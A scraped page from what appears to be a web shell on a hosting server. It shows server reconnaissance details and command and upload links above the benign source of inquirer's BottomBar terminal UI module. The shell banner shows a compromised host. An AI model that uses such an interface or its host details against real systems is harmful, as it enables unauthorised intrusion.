Server IP : 92.205.26.207 / Your IP : 216.73.216.16 Web Server : Apache System : Linux 207.26.205.92.host.secureserver.net 4.18.0-553.60.1.el8_10.x86_64 #1 SMP Thu Jul 10 04:01:16 EDT 2025 x86_64 User : zikryat ( 1002) PHP Version : 8.3.23 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/zikryat/public_html/node_modules/inquirer/lib/ui/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
'use strict'; /** * Sticky bottom bar user interface */ const through = require('through'); const Base = require('./baseUI'); const rlUtils = require('../utils/readline'); class BottomBar extends Base { constructor(opt = {}) { super(opt); this.log = through(this.writeLog.bind(this)); this.bottomBar = opt.bottomBar || ''; this.render(); } /** * Render the prompt to screen * @return {BottomBar} self */ render() { this.write(this.bottomBar); return this; } clean() { rlUtils.clearLine(this.rl, this.bottomBar.split('\n').length); return this; } /** * Update the bottom bar content and rerender * @param {String} bottomBar Bottom bar content * @return {BottomBar} self */ updateBottomBar(bottomBar) { rlUtils.clearLine(this.rl, 1); this.rl.output.unmute(); this.clean(); this.bottomBar = bottomBar; this.render(); this.rl.output.mute(); return this; } /** * Write out log data * @param {String} data - The log data to be output * @return {BottomBar} self */ writeLog(data) { this.rl.output.unmute(); this.clean(); this.rl.output.write(this.enforceLF(data.toString())); this.render(); this.rl.output.mute(); return this; } /** * Make sure line end on a line feed * @param {String} str Input string * @return {String} The input string with a final line feed */ enforceLF(str) { return str.match(/[\r\n]$/) ? str : str + '\n'; } /** * Helper for writing message in Prompt * @param {String} message - The message to be output */ write(message) { const msgLines = message.split(/\n/); this.height = msgLines.length; // Write message to screen and setPrompt to control backspace this.rl.setPrompt(msgLines[msgLines.length - 1]); if (this.rl.output.rows === 0 && this.rl.output.columns === 0) { /* When it's a tty through serial port there's no terminal info and the render will malfunction, so we need enforce the cursor to locate to the leftmost position for rendering. */ rlUtils.left(this.rl, message.length + this.rl.line.length); } this.rl.output.write(message); } } module.exports = BottomBar;